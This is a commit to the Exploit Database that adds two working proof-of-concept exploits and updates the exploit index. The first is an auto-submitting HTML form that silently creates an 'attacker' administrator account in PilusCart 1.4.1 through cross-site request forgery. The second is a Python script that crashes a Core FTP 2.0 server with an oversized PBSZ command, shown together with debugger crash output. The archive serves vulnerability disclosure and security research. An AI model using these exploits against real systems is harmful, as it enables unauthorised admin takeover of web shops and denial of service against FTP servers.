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DB: 2019-03-13

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2 changes to exploits/shellcodes

Core FTP 2.0 build 653 - 'PBSZ' Denial of Service (PoC)

PilusCart 1.4.1 - Cross-Site Request Forgery (Add Admin)
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Offensive Security 2019-03-13 05:01:58 +00:00
parent ce1901fc4f
commit 7ca7a51209
3 changed files with 119 additions and 0 deletions
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38
exploits/php/webapps/46531.html Normal file
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# Exploit Title: PilusCart 1.4.1 - Cross-Site Request Forgery (Add Admin)
# Google Dork: N/A
# Date: 10-03-2019
# Exploit Author: Gionathan "John" Reale
# Vendor Homepage: https://github.com/piluscart
# Software Link: https://sourceforge.net/projects/pilus/files/PiLUS/1.4.1/PiLUS-1.4.1-Ubiungu-stable.zip/download
# Version: 1.4.1
# Tested on: ParrotOS
# CVE : N/A
PilusCart 1.4.1 is vulnerable to CSRF attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), a form will be submitted that will add a new user as administrator.
PoC:
<html>
<iframe style="width:0;height:0;border:0; border:none;" name="csrf-frame"></iframe>
<form name="adduser" action="http://server/cabin/index.php?module=users&action=newUser" method="post" target="csrf-frame">
<input type="submit">
<input type="hidden" name="admin_id" value="">
<input type="hidden" name="session_id" value="">
<input type="hidden" name="admin_login" value="attacker">
<input type="hidden" name="admin_fullname" value="attacker">
<input type="hidden" name="admin_email" value="admin@attacker.com">
<input type="hidden" name="admin_pass" value="admin">
<input type="hidden" name="confirm_pass" value="admin">
<input type="hidden" name="admin_level" value="admin">
<input type="hidden" name="admin_url" value="">
<input type="hidden" name="saveAdmin" value="Simpan">
</form>
<script>
document.forms.adduser.submit();
</script>
</html>

79
exploits/windows/dos/46532.py Executable file
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# Exploit Title: Core FTP 2.0 build 653 - 'PBSZ' - Unauthenticated - Denial of Service (PoC)
# Date: 2019-03-12
# Exploit Author: Hodorsec (hodorsec@protonmail.com / hodor@hodorsec.com)
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://coreftp.com/server/download/archive/CoreFTPServer653.exe
# Version: Version 2.0, build 653, 32-bit
# Tested on: Windows 8.1 6.3 (build 9600)
# CVE: N/A
# Description:
# CoreFTP 2.0 is vulnerable to a DoS attack via the PBSZ command. Ironically, this command is being used for "Protection Buffer Size"
# and CoreFTP responds unauthenticated.
# The PBSZ command in CoreFTP only allows for a certain length of the string to be vulnerable to a DoS.
# This script triggers the DoS and filling ECX with the intented buffer.
# Although NSEH/SEH is overwritten, the executable binary is SafeSEH protected and no other assemblies are referenced.
# Replication:
# - Install CoreFTP and setup a domain with an IP and path
# - Start the service or click "Start"
# - No need to add users or set anything specific: just run the script and watch it crash
# Crash as service:
# (7e0.bf4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\CoreFTPServer\coresrvr.exe
# eax=00000000 ebx=00a5b048 ecx=42424242 edx=00000000 esi=00000258 edi=00000000
# eip=004491f5 esp=0128c4bc ebp=0129f684 iopl=0 nv up ei ng nz na po nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010282
# coresrvr+0x491f5:
# 004491f5 83b92c08000000 cmp dword ptr [ecx+82Ch],0 ds:002b:42424a6e=????????
#!/usr/bin/env python
import sys, socket, struct, time
if len(sys.argv) <= 2:
print "Usage: python " + sys.argv[0] + " [host] [port]"
exit()
host = sys.argv[1]
port = int(sys.argv[2])
# Maximum length
maxlen = 211
# Offsets
crash_ecx = 199
crash_nseh = 99
# Variables
prefix = "A" * crash_ecx
ecx = "B" * 4 # 004491f5; CMP DWORD PTR DS:[ECX+82c],0
suffix = "C" * (maxlen - len(prefix + ecx))
# Payload
payload = prefix + ecx + suffix
print "[+] Connecting to " + host + "\n"
try:
print "[+] Sending payload with " + str(len(payload)) + " length message..."
req = (
"PBSZ " + payload
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((host, port))
s.send(req)
s.recv(1024)
s.close()
time.sleep(0.5)
except Exception,e:
print "[!] Error occured: " + str(e)
print "[*] Crashed occured at buffer length: " + str(len(payload))
sys.exit()

2
files_exploits.csv
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@ -6352,6 +6352,7 @@ id,file,description,date,author,type,platform,port
46503,exploits/android/dos/46503.txt,"Android - binder Use-After-Free via racy Initialization of ->allow_user_free",2019-03-06,"Google Security Research",dos,android, 46503,exploits/android/dos/46503.txt,"Android - binder Use-After-Free via racy Initialization of ->allow_user_free",2019-03-06,"Google Security Research",dos,android,
46504,exploits/android/dos/46504.txt,"Android - getpidcon() Usage in Hardware binder ServiceManager Permits ACL Bypass",2019-03-06,"Google Security Research",dos,android, 46504,exploits/android/dos/46504.txt,"Android - getpidcon() Usage in Hardware binder ServiceManager Permits ACL Bypass",2019-03-06,"Google Security Research",dos,android,
46529,exploits/linux/dos/46529.c,"Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak",2019-03-11,wally0813,dos,linux, 46529,exploits/linux/dos/46529.c,"Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak",2019-03-11,wally0813,dos,linux,
46532,exploits/windows/dos/46532.py,"Core FTP 2.0 build 653 - 'PBSZ' Denial of Service (PoC)",2019-03-12,Hodorsec,dos,windows,21
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -40973,3 +40974,4 @@ id,file,description,date,author,type,platform,port
46526,exploits/jsp/webapps/46526.rb,"OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)",2019-03-11,AkkuS,webapps,jsp, 46526,exploits/jsp/webapps/46526.rb,"OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)",2019-03-11,AkkuS,webapps,jsp,
46527,exploits/windows/webapps/46527.sh,"PRTG Network Monitor 18.2.38 - Authenticated Remote Code Execution",2019-03-11,M4LV0,webapps,windows,80 46527,exploits/windows/webapps/46527.sh,"PRTG Network Monitor 18.2.38 - Authenticated Remote Code Execution",2019-03-11,M4LV0,webapps,windows,80
46528,exploits/php/webapps/46528.py,"Flexpaper PHP Publish Service 2.3.6 - Remote Code Execution",2019-03-11,redtimmysec,webapps,php, 46528,exploits/php/webapps/46528.py,"Flexpaper PHP Publish Service 2.3.6 - Remote Code Execution",2019-03-11,redtimmysec,webapps,php,
46531,exploits/php/webapps/46531.html,"PilusCart 1.4.1 - Cross-Site Request Forgery (Add Admin)",2019-03-12,"Gionathan Reale",webapps,php,80

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